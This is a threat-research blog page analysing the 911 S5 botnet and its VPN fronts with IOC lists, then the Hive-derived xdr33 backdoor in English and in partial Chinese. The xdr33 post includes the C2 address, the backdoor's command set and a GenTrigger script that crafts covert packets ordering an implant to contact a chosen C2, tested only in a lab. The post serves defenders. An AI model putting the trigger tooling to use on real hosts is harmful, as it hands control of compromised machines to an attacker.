360 Netlab Blog - Network Security Research Lab at 360

僵尸网络911 S5的数字遗产

lvxing — Fri, 14 Jun 2024 09:20:11 GMT

概述

2024年5月29日，美国司法部发布通告，声称其执法活动摧毁了"史上最大的僵尸网络" 911 S5，查封了相关域名，并且逮捕了其管理员YunHe Wang。Wang及其同伙通过创建并分发包含恶意代码的免费VPN程序感染用户，并且在名为911 S5的住宅代理服务中出售对被感染设备构成的代理网络的访问权。

按照360威胁情报中心的分析，911S5从2014年开始运营，到2022年7月关停，在2023年10月又摇身一变，化名CloudRouter继续其肮脏生意，终于在2024年5月被多国联合执法摧毁。911S5的僵尸网络运行时间长、涉及多个国家的19M个IP地址、行为高调，虽然经过执法行动后大势已去，但是其数字遗产仍然对网络空间构成了现实且显著的威胁，下文是我们对威胁分析的结果。

“空手套白狼”的911 S5

911S5出售的代理服务背后是数千万被感染的设备。受害者主动或被动下载捆绑了恶意代码的软件、免费VPN程序等。在程序启动后，恶意代码将会创建持久化服务作为后门，为911S5客户提供代理服务。

在2023年以前，911S5使用的免费VPN包括:ProxyGate、MaskVPN、DewVPN与ShineVPN。我们观察到最早出现的VPN程序是ProxyGate，在2016年至2020年间活跃。

911S5与VPN程序的强关联

共同的基础设施

将911S5与一众免费VPN关联起来的关键性证据就是它们共用了一部分基础设施。我们注意到，911.re、searchsafe.com、maskvpn.org、proxygate、911.gg、dewvpn.com的电子邮件服务都曾被解析到同一个服务器:173.244.211.96，证明911S5和特定免费VPN程序拥有共同的运营者。

更多数据，请查看最后一部分"共用IP"。

相似的样本行为

MaskVPN、DewVPN以及ShineVPN拥有相似的编码方式、进程链结构：

MaskVPN进程链

DewVPN进程链

“死而复生”的CloudRouter

2022年7月，911S5的运营者停止了911S5的服务，但是它们也并未蛰伏太长时间。2023年2月，911S5的继任者CloudRouter被研究人员发现；10月，CloudRouter正式发布，提供类似911S5的住宅服务，它使用PaladinVPN、Shield VPN感染设备并继续构建代理网络，我们确认这是换汤不换药的911S5。

CloudRouter，换汤不换药

共用基础设施

与911S5类似，cloudrouter.pro、paladinvpn.com、shieldvpn.org的电子邮件服务解析到了相同的服务器:209.126.108.53。

更多数据，请查看最后一部分"共用IP"。

样本的强关联

CloudRouter使用的PaladinVPN、ShineVPN的编码方式、进程链与MaskVPN、DewVPN高度相似。

PaladinVPN进程链

根据美国法院的扣押文件，在2023年8月份，分析人员观察到了从MaskVPN到ShieldVPN的升级，该文件声称ShieldVPN、PaladinVPN与reachfresh.com通信，并从updatepanel.cc&upgradeportal.org接受更新指令。

PaladinVPN的推广域名

我们注意到，有150+个推广域名都解析到了同一个地址148.72.152.203 ，如：

soccerstreamingvpn.com
freevpnlebanon.com
freevpnhongkong.com
freevpncuba.com
freevpnghana.com

这些站点的内容诱导访问者前往PaladinVPN相关的页面。美国法院的一份扣押文件声称，它们确定这是由Wang的一名同谋所为。

域名热度

我们分析了911S5相关域名的热度并绘制了折线图，其中纵轴表示热度值，范围为[0,10]，横轴表示时间。

域名热度折线图

容易发现，大部分域名的热度值在[2,4]，_{911.re、911s5.com}两个域名热度较高，911.re在热度最高时接近6。

IOC

域名

proxygate.net
911s5.net
911.re
911.gg
911s5.org
911s5.com
maskvpn.cc
maskvpn.org
dewvpn.cc
dewvpn.com
dewvpn.net
dewvpn.org
shinevpn.org
shinevpn.com
shinevpn.co
shinevpn.net
cloudrouting.net
cloudrouter.io
cloudrouter.pro
paladinvpn.org
paladinvpn.com
shieldvpn.org
reachfresh.com
updatepanel.cc
upgradeportal.org

下载域名与URL

dton09jc5wlle.cloudfront.net
d2mxl8paokc6p3.cloudfront.net
d32cjgd79n340u.cloudfront.net
https://d87hw114pqw7b.cloudfront.net/dewvpn-setup.exe
https://d3d5qtzjda7oy3.cloudfront.net/paladinvpn-setup.exe
https://d2akdl6qfujxx9.cloudfront.net/paladinvpn-setup.exe
https://d1f64skmkl5mzn.cloudfront.net/paladinvpn.exe
https://d2akdl6qfujxx9.cloudfront.net/paladinvpn-setup.exe	
https://d1f64skmkl5mzn.cloudfront.net/paladinvpn.exe
https://dton09jc5w11e.cloudfront.net/paladinvpn.exe

样本

1875e43e224862cbf60bffc51c96cf1a
25e627a9a583f08ffbbd60cbc276f87e
3a6995457c832ecf79be7b941bfa4d91
3e68dbd53c2df48e00f830243b35cd84
3f056ee26ac0a3d3bf0bb4570887c925

PaladinVPN

6db6b7b99a0e87f142a56e256a62ef82
fd72d909e280110cd6ccbae8e86d29e4
fc8fcf280914e20c93939ed155a68c53
026dc4084820a013ec1537ba6bab0d44
d6d577fc72559cfb133b4c02c21dc7c0

ShieldVPN

共用IP

借助360威胁情报数据库，我们找到了一批911S5不同域名共用的IP地址：

34.102.136.180
	 911s5.net
	 911s5.org
	 maskvpn.org
	 shinevpn.org
	 shinevpn.com
	 shinevpn.net
34.98.99.30
	 911s5.org
	 911s5.com
	 dewvpn.org
	 dewvpn.net
	 dewvpn.cc
	 maskvpn.cc
	 maskvpn.org
	 proxygate.net
174.139.8.2
	 911s5.org
	 911s5.com
	 www.911s5.com
	 eu.911.gg
	 911.re
	 login.911s5.net
	 userip.911s5.net
	 neibu.911s5.net
31.13.83.2
	 eu.911.gg
	 www.911.gg
	 911.gg
	 www.dewvpn.com
	 dewvpn.com
	 net.dewvpn.com
31.13.84.2
	 eu.911.gg
	 www.911.gg
	 911.gg
	 www.dewvpn.com
	 user.dewvpn.com
	 net.dewvpn.com
31.13.106.4
	 eu.911.gg
	 dewvpn.com
98.126.28.10
	 911s5.org
	 www.911s5.com
	 911s5.com
185.45.6.57
	 eu.911.gg
	 user.dewvpn.com
	 www.dewvpn.com
31.13.73.9
	 eu.911.gg
	 911.gg
	 www.911.gg
	 www.dewvpn.com
	 user.dewvpn.com
	 net.dewvpn.com
162.125.8.1
	 eu.911.gg
	 www.911.gg
	 911.gg
	 dewvpn.com
	 www.dewvpn.com
	 user.dewvpn.com
	 net.dewvpn.com
31.13.92.5
	 www.911.gg
	 eu.911.gg
	 911.gg
	 dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
162.125.2.3
	 eu.911.gg
	 911.gg
	 www.911.gg
	 dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
185.45.7.97
	 eu.911.gg
	 www.dewvpn.com
162.125.2.5
	 eu.911.gg
	 www.911.gg
	 911.gg
	 dewvpn.com
	 user.dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
31.13.64.7
	 eu.911.gg
	 www.911.gg
	 911.gg
	 www.dewvpn.com
	 user.dewvpn.com
	 net.dewvpn.com
31.13.74.1
	 eu.911.gg
	 www.911.gg
	 911.gg
	 user.dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
31.13.69.86
	 eu.911.gg
	 dewvpn.com
31.13.67.33
	 eu.911.gg
	 dewvpn.com
	 user.dewvpn.com
31.13.94.7
	 eu.911.gg
	 911.gg
	 www.911.gg
	 www.dewvpn.com
	 user.dewvpn.com
	 net.dewvpn.com
31.13.70.33
	 eu.911.gg
	 user.dewvpn.com
31.13.70.13
	 eu.911.gg
	 dewvpn.com
	 user.dewvpn.com
31.13.80.1
	 eu.911.gg
	 www.911.gg
	 911.gg
	 www.dewvpn.com
	 net.dewvpn.com
162.125.7.1
	 eu.911.gg
	 www.911.gg
	 911.gg
	 user.dewvpn.com
	 net.dewvpn.com
103.97.3.19
	 www.911.gg
	 911.gg
	 dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
31.13.75.12
	 eu.911.gg
	 user.dewvpn.com
162.125.6.1
	 eu.911.gg
	 911.gg
	 www.911.gg
	 user.dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
31.13.71.19
	 eu.911.gg
	 user.dewvpn.com
31.13.81.4
	 eu.911.gg
	 911.gg
	 www.911.gg
	 www.dewvpn.com
	 net.dewvpn.com
162.125.1.8
	 eu.911.gg
	 www.911.gg
	 911.gg
	 www.dewvpn.com
	 net.dewvpn.com
31.13.75.5
	 eu.911.gg
	 911.gg
	 www.911.gg
	 www.dewvpn.com
	 user.dewvpn.com
	 net.dewvpn.com
31.13.84.8
	 eu.911.gg
	 www.911.gg
	 911.gg
	 user.dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
31.13.69.33
	 eu.911.gg
	 user.dewvpn.com
	 dewvpn.com
31.13.84.1
	 eu.911.gg
	 www.911.gg
	 911.gg
	 user.dewvpn.com
	 www.dewvpn.com
	 net.dewvpn.com
157.240.3.8
	 eu.911.gg
	 www.911.gg
	 911.gg
	 www.dewvpn.com
	 dewvpn.com
	 net.dewvpn.com

Heads up! Xdr33, A Variant Of CIA’s HIVE Attack Kit Emerges

Alex.Turing — Tue, 10 Jan 2023 14:00:37 GMT

Overview

On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file ee07a74d12c0bb3594965b51d0e45b6f, which propagated via F5 vulnerability with zero VT detection, our system observces that it communicates with IP 45.9.150.144 using SSL with forged Kaspersky certificates, this caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive project server source code from CIA. This is the first time we caught a variant of the CIA HIVE attack kit in the wild, and we named it xdr33 based on its embedded Bot-side certificate CN=xdr33.

To summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits for the execution of the commands issued by it.

The functional schematic is shown below.

Hive uses the BEACON_HEADER_VERSION macro to define the specified version, which has a value of 29 on the Master branch of the source code and a value of 34 in xdr33, so perhaps xdr33 has had several rounds of iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:

New CC instructions have been added
Wrapping or expanding functions
Structs have been reordered and extended
Trigger message format
Addition of CC operations to the Beacon task

These modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source code.

Vulnerability Delivery Payload

The md5 of the Payload we captured is ad40060753bc3a1d6f380a5054c1403a, and its contents are shown below.

The code is simple and straightforward, and its main purpose is to

Download the next stage of the sample and disguise it as /command/bin/hlogd.
Install logd service for persistence.

Sample analysis

We captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.

MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None

Simply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.

The following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.

Decrypting configuration information

xdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple, i.e., byte-by-byte inverse.

In IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.

The decryption results are shown below, including Beacon C2 45.9.150.144, runtime prompt messages, commands to view device information, etc.

Beacon Task

The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to C2; finally wait for the execution of the commands issued by C2.

0x01: Information Collection

MAC

Query MAC by SIOCGIFCON or SIOCGIFHWADDR
SystemUpTime

Collects system up time via /proc/uptime
Process and network-related information

Collect process, NIC, network connection, and routing information by executing the following 4 commands

0x02: Information processing

Xdr33 combines different device information through the update_msg function

In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and "3, 4, 5, 6" in the above figure represents different Header Type.

typedef struct __attribute__ ((packed)) add_header {
	unsigned short type;
	unsigned short length;
} ADD_HDR;

What does "3, 4, 5, 6" represent exactly? This depends on the definition of Header Types in the source code below. xdr33 is extended on this basis, with two new values 0 and 9, representing Sha1[:32] of MAC, and PID of xdr33 respectively

Some of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it contains the device information with head type 0,1,2,7,9,3.

It is worth mentioning that type=0, Sha1[:32] of MAC, which means that it takes the first 32 bytes of MAC SHA1. Take the mac in the above figure as an example, its calculation process is as follows.

mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43

sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805

sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640

When all the device information is combined, use bzip to compress it and add 2 bytes of beacon_header_version and 2 bytes of OS information in the header.

0x03: Network Communication

The communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each step will be analyzed in detail below.

Two-way SSL authentication
Obtain XTEA key
Report XTEA encrypted device information to C2
Execute the commands sent by C2

Step1: Two-way SSL Authentication

Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it is obvious that Bot and C2 request each other's certificate and verify the process.

The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the required Bot certificate, C2 certificate and CA certificate.

The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.

The Bot certificate can be viewed using openssl x509 -in Cert -inform DER -noout -text, where CN=xdr33, which is where the family name comes from.

You can use openssl s_client -connect 45.9.150.144:443 to see the C2 certificate. bot, C2 certificates are disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.

The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this activity is after 2022.10.7.

Step2: Obtain XTEA key

After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following code snippet.

The processing logic is.

Bot sends 64 bytes of data to C2 in the format of "length of device information length string (xor 5) + device information length string (xor 5) + random data".
Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code to get the KEY is as follows.
```
XOR_KEY=5
def get_key(rand_bytes):
	offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
	return  rand_bytes[(offset+1):(offset+17)]
```

Step3: Report XTEA encrypted device information to C2

Bot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2 replies with the number of bytes it has accepted.

It is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.

Step4: Waiting for execution command (new function added by xdr33)

After the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0, it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot receives the task, parses it, and executes the corresponding instruction.

The supported instructions are shown in the following table.

Index	Function
0x01	Download File
0x02	Execute CMD with fake name "[kworker/3:1-events]"
0x03	Update
0x04	Upload File
0x05	Delete
0x08	Launch Shell
0x09	Socket5 Proxy
0x0b	Update BEACONINFO

Network Traffic Example

The actual step2 traffic generated by xdr33

The interaction in step3, and the traffic from step4

What information can we get from this?？

The length of the device information length string, 0x1 ^ 0x5 = 0x4
The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720
tea key 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which corresponds to the second point
The number of tasks in this cycle is 00 00 00 00 00 00 00, i.e. there is no task, so no specific task of 264 bytes will be issued.

The encrypted device information can be decrypted by the following code, and the decrypted data is 00 22 00 14 42 5A 68 39, which contains the beacon_header_version + os + bzip magic, and the previous analysis can correspond to one by one.

import hexdump
import struct

def xtea_decrypt(key,block,n=32,endian="!"):
    v0,v1 = struct.unpack(endian+"2L", block)
    k = struct.unpack(endian+"4L",key)
    delta,mask = 0x9e3779b9,0xffffffff
    sum = (delta * n) & mask
    for round in range(n):
        v1 = (v1 - (((v0<<4 ^ v0>>5) + v0) ^ (sum + k[sum>>11 & 3]))) & mask
        sum = (sum - delta) & mask
        v0 = (v0 - (((v1<<4 ^ v1>>5) + v1) ^ (sum + k[sum & 3]))) & mask
    return struct.pack(endian+"2L",v0,v1)

def decrypt_data(key,data):
    size = len(data)
    i = 0
    ptext = b''
    while i < size:
        if size - i >= 8:
            ptext += xtea_decrypt(key,data[i:i+8])
        i += 8
    return ptext
key=bytes.fromhex("""
2E 09 9B 08 CF 53 BE E7  A0 BE 11 42 31 F4 45 3A
""")
enc_buf=bytes.fromhex("""
65 d8 b1 f9 b8 37 37 eb
""")

hexdump.hexdump(decrypt_data(key,enc_buf))

Trigger Task

The main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format. Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.

0x1: Listening for traffic

Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) to set RAW SOCKET to capture IP messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will increase the CPU load, in fact using BPF-Filter on sockets will work better.

0x2: Checksum Trigger packets

TCP and UDP messages that meet the length requirement are further verified using the same check_payload function.

check_payload的代码如下所示:

The processing logic can be seen as follows.

Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get crcValue
The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset
Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step
Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step
Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod

So far it can be determined that the Trigger message format is as follows

0x3: Checksum Trigger Payload

If the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload

The processing logic can be seen as follows

Take the last 2 bytes of the Trigger Payload and write it as crcRaw
Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc
Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.

Next, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1 46a3c308401e03d3195c753caa14ef34a3806593 in the Bot. If it is equal, it means that the Trigger Payload is also valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait for the execution of its issued command.

The format of the Trigger Payload can be determined as follows.

0x4: Execution of Trigger C2's command

After a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger Payload and waits for the execution of the instructions issued by the C2.

The supported instructions are shown in the following table.

Index	Function
0x00,0x00a	Exit
0x01	Download File
0x02	Execute CMD
0x04	Upload File
0x05	Delete
0x06	Shutdown
0x08	Launch SHELL
0x09	SOCKET5 PROXY
0x0b	Update BEACONINFO

It is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the AES algorithm to create a second layer of encryption.

Experiment

To verify the correctness of the reverse analysis of the Trigger part, we Patch the SHA1 value of xdr33, fill in the SHA1 of NetlabPatched,Enjoy! and implement the GenTrigger code in the appendix to generate UDP type Trigger messages.

We run the Patch in the virtual machine 192.168.159.133 after the xdr33 sample, the construction of C2 for 192.168.159.128:6666 Trigger Payload, and sent to 192.168.159.133 in the form of UDP. the final result is as follows, you can see the xdr33 in the implanted host after receiving the UDP Trigger message, and we expected the same, launched a communication request to the preset Trigger C2, Cool!

Contact us

Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.

IOC

sample

ee07a74d12c0bb3594965b51d0e45b6f

patched sample

af5d2dfcafbb23666129600f982ecb87

C2

45.9.150.144:443

BOT Private Key

BOT Certificate

CA Certificate

附录

0x1 Decode_RES

import idautils
import ida_bytes

def decode(addr,len):
    tmp=bytearray()
    
    buf=ida_bytes.get_bytes(addr,len)
    for i in buf:
        tmp.append(~i&0xff)

    print("%x, %s" %(addr,bytes(tmp)))
    ida_bytes.put_bytes(addr,bytes(tmp))
    idc.create_strlit(addr,addr+len)
    
calllist=idautils.CodeRefsTo(0x0804F1D8,1)
for addr in calllist:
    prev1Head=idc.prev_head(addr)
    if 'push    offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:
        bufaddr=idc.get_operand_value(prev1Head,0)
        prev2Head=idc.prev_head(prev1Head)
        
        if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:
            leng=idc.get_operand_value(prev2Head,0)
            decode(bufaddr,leng)

0x02 GenTrigger

import random
import socket


def crc16(data: bytearray, offset, length):
  if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):
    return 0
  crc = 0xFFFF
  for i in range(0, length):
    crc ^= data[offset + i] << 8
    for j in range(0, 8):
      if (crc & 0x8000) > 0:
        crc = (crc << 1) ^ 0x1021
      else:
        crc = crc << 1
  return crc & 0xFFFF

def Gen_payload(ip:str,port:int):
    out=bytearray()
    part1=random.randbytes(92)
    sum=crc16(part1,8,84)
  
    offset1=sum % 0xc8
    offset2=sum % 0x37
    padding1=random.randbytes(offset1)
    padding2=random.randbytes(8)
    
    
    host=socket.inet_aton(ip)
    C2=bytearray(b'\x01')
    C2+=host
    C2+=int.to_bytes(port,2,byteorder="big")
    key=b'NetlabPatched,Enjoy!'
    C2 = C2+key +b'\x00\x00'
    c2sum=crc16(C2,0,29)
    C2=C2[:-2]
    C2+=(int.to_bytes(c2sum,2,byteorder="big"))

    flag=0x7f*10
    out+=part1
    out+=padding1
    out+=(int.to_bytes(sum,2,byteorder="big"))
    out+=(int.to_bytes(flag,2,byteorder="big"))
    out+=padding2

    tmp=bytearray()
    for i in range(29):
      tmp.append(C2[i] ^ out[offset2+8+i])
    out+=tmp

    leng=472-len(out)
    lengpadding=random.randbytes(random.randint(0,leng+1))
    out+=lengpadding

    return out
    
payload=Gen_payload('192.168.159.128',6666)
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(payload,("192.168.159.133",2345))  # 任意端口

警惕：魔改后的CIA攻击套件Hive进入黑灰产领域

Alex.Turing — Mon, 09 Jan 2023 03:13:20 GMT

概述

2022年10月21日，360Netlab的蜜罐系统捕获了一个通过F5漏洞传播，VT 0检测的可疑ELF文件ee07a74d12c0bb3594965b51d0e45b6f，流量监控系统提示它和IP45.9.150.144产生了SSL流量，而且双方都使用了伪造的Kaspersky证书，这引起了我们的关注。经过分析，我们确认它由CIA被泄露的Hive项目server源码改编而来。这是我们首次捕获到在野的CIA HIVE攻击套件变种，基于其内嵌Bot端证书的CN=xdr33，我们内部将其命名为xdr33。关于CIA的Hive项目，互联网中有大量的源码分析的文章，读者可自行参阅，此处不再展开。

概括来说，xdr33是一个脱胎于CIA Hive项目的后门木马，主要目的是收集敏感信息，为后续的入侵提供立足点。从网络通信来看，xdr33使用XTEA或AES算法对原始流量进行加密，并采用开启了Client-Certificate Authentication模式的SSL对流量做进一步的保护；从功能来说，主要有beacon，trigger两大任务，其中beacon是周期性向硬编码的Beacon C2上报设备敏感信息，执行其下发的指令，而trigger则是监控网卡流量以识别暗藏Trigger C2的特定报文，当收到此类报文时，就和其中的Trigger C2建立通信，并等待执行下发的指令。

功能示意图如下所示：

Hive使用BEACON_HEADER_VERSION宏定义指定版本，在源码的Master分支上，它的值29，而xdr33中值为34，或许xdr33在视野之外已经有过了数轮的迭代更新。和源码进行对比，xdr33的更新体现在以下5个方面:

添加了新的CC指令
对函数进行了封装或展开
对结构体进行了调序，扩展
Trigger报文格式
Beacon任务中加入CC操作

xdr33的这些修改在实现上来看不算非常精良，再加上此次传播所所用的漏洞为N-day，因此我们倾向于排除CIA在泄漏源码上继续改进的可能性，认为它是黑产团伙利用已经泄漏源码魔改的结果。考虑到原始攻击套件的巨大威力，这绝非安全社区乐见，我们决定编写本文向社区分享我们的发现，共同维护网络空间的安全。

漏洞投递Payload

我们捕获的Payload的md5为ad40060753bc3a1d6f380a5054c1403a，它的内容如下所示：

代码简单明了，它的主要目的是：

1：下载下一阶段的样本并将其伪装成/command/bin/hlogd。

2：安装logd服务以实现持久化。

样本分析

我们只捕获了一个X86 架构的xdr33样本，它的基本信息如下所示：

MD5:ee07a74d12c0bb3594965b51d0e45b6f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None

简单来说，xdr33在被侵入的设备运行时，首先解密所有的配置信息，然后检查是否有root/admin权限，如果没有，则输出Insufficient permissions. Try again...并退出；反之就初始化各种运行时参数，如C2，PORT，运行间隔时间等。最后通过beacon_start，TriggerListen两个函数开启Beacon，Trigger两大任务。

下文主要从2进制逆向的角度出发，分析Beacon，Trigger功能的实现；同时结合源码进行比对分析，看看发生了哪些变化。

解密配置信息

xdr33通过以下代码片段decode_str解密配置信息，它的逻辑非常简单即逐字节取反。

在IDA中可以看到decode_str的交叉引用非常多，一共了152处。为了辅助分析，我们实现了附录中IDAPython脚本 Decode_RES，对配置信息进行解密。

解密结果如下所示，其中有Beacon C2 45.9.150.144，运行时提示信息，查看设备信息的命令等。

Beacon Task

Beacon的主要功能是周期性的收集PID，MAC，SystemUpTime，进程以及网络相关的设备信息；然后使用bzip，XTEA算法对设备信息进行压缩，加密，并上报给C2；最后等待执行C2下发的指令。

0x01: 信息收集

MAC

通过SIOCGIFCON 或 SIOCGIFHWADDR查询MAC
SystemUpTime

通过/proc/uptime收集系统的运行时间
进程以及网络相关的信息

通过执行以下4个命令收集进程，网卡，网络连接，路由等信息

0x02: 信息处理

Xdr33通过update_msg函数将不同的设备信息组合在一起

为了区别不同的设备信息，Hive设计了ADD_HDR，它的定义如下所示，上图中的“3，4，5，6”就代表了不同的Header Type。

typedef struct __attribute__ ((packed)) add_header {
	unsigned short type;
	unsigned short length;
} ADD_HDR;

那“3，4，5，6”具体代表什么类型呢？这就要看下图源码中Header Types的定义了。xdr33在此基础上进行了扩展，新增了0，9俩个值，分别代表Sha1[:32] of MAC，以及PID of xdr33。

xdr32在虚拟机中的收集到的部分信息如下所示，可以看出它包含了head type为0,1,2,7,9,3的设备信息。

值得一提的是type=0，Sha1[:32] of MAC，它的意思是取MAC SHA1的前32字节。以上图中的的mac为例，它的计算过程如下：

mac:00-0c-29-94-d9-43,remove "-"
result:00 0c 29 94 d9 43

sha1 of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805

sha1[:32] of mac:
result:c55c77695b6fd5c24b0cf7ccce3e4640

当所有的设备信息组合完毕后，使用bzip进行压缩，并在头部增加2字节的beacon_header_version，以及2字节的OS信息。

0x03: 网络通信

xdr33与Beacon C2通信过程，包含以下4个步骤，下文将详细分析各个步骤的细节。

双向SSL认证
获取XTEA密钥
向C2上报XTEA加密的设备信息
执行C2下发的指令

Step1: 双向SSL认证

所谓双向SSL认证，即要求Bot，C2要确认彼此的身份，从网络流量层面来看，可以很明显看到Bot，C2相互请求彼此证书并校验的过程。

xdr33的作者使用源码仓库中kaspersky.conf，以及thawte.conf 2个模板生成所需要的Bot证书，C2证书，CA证书。

xdr32中硬编码了DER格式的CA证书，Bot证书和PrivKey。

可以使用openssl x509 -in Cert -inform DER -noout -text查看Bot证书，其中CN=xdr33，这正是此家族名字的由来。

可以使用openssl s_client -connect 45.9.150.144:443 查看C2的证书。Bot，C2的证书都伪装成与kaspersky有关，通过这种方式降低网络流量的可疑性。

CA证书如下所示，从3个证书的有效期来看，我们推测此次活动的开始时间在2022.10.7之后。

Step2: 获取XTEA密钥

Bot和C2建立SSL通信之后，Bot通过以下代码片段向C2请求XTEA密钥。

它的处理逻辑为：

Bot向C2发送64字节数据，格式为"设备信息长度字串的长度（xor 5） + 设备信息长度字串（xor 5） + 随机数据"

Bot从C2接收32字节数据，从中得到16字节的XTEA KEY，获取KEY的等效的python代码如下所示：

XOR_KEY=5
def get_key(rand_bytes):
	offset = (ord(rand_bytes[0]) ^ XOR_KEY) % 15
	return  rand_bytes[(offset+1):(offset+17)]

Step3: 向C2上报XTEA加密的设备信息

Bot使用Step2获得的XTEA KEY 对设备信息进行加密，并上报给C2。由于设备信息较多，一般需要分块发送，Bot一次最多发送4052字节，而C2则会回复已接受的字节数。

另外值得一提的是，XTEA加密只在Step3中使用，后续的Step4中网络流量仅仅使用SSL协商好的加密加密套件，不再使用XTEA。

Step4: 等待执行指令（xdr33新增功能）

当设备信息上报完毕后，C2向Bot发送8字节的本周期任务次数N，若N等于0就休眠一定时间，进入下一个周期的Beacon Task；反之就下发264字节的任务。Bot接收到任务后，对其进行解析，并执行相应的指令。

支持的指令如下表所示：

Index	Function
0x01	Download File
0x02	Execute CMD with fake name "[kworker/3:1-events]"
0x03	Update
0x04	Upload File
0x05	Delete
0x08	Launch Shell
0x09	Socket5 Proxy
0x0b	Update BEACONINFO

网络流量示例

实际中xdr33产生的step2流量

step3中的交互，以及step4的流量

我们从中能得到什么信息呢？

设备信息长度字串的长度，0x1 ^ 0x5 = 0x4
设备信息长度，0x31,0x32,0x37,0x35 分别 xor 5得到 4720
tea key 2E 09 9B 08 CF 53 BE E7 A0 BE 11 42 31 F4 45 3A
C2会确认BOT上报的设备信息长度，4052+668 = 4720,和第2点是能对应上的
本周期任务数00 00 00 00 00 00 00 00，即无任务，所以不会下发264字节的具体任务

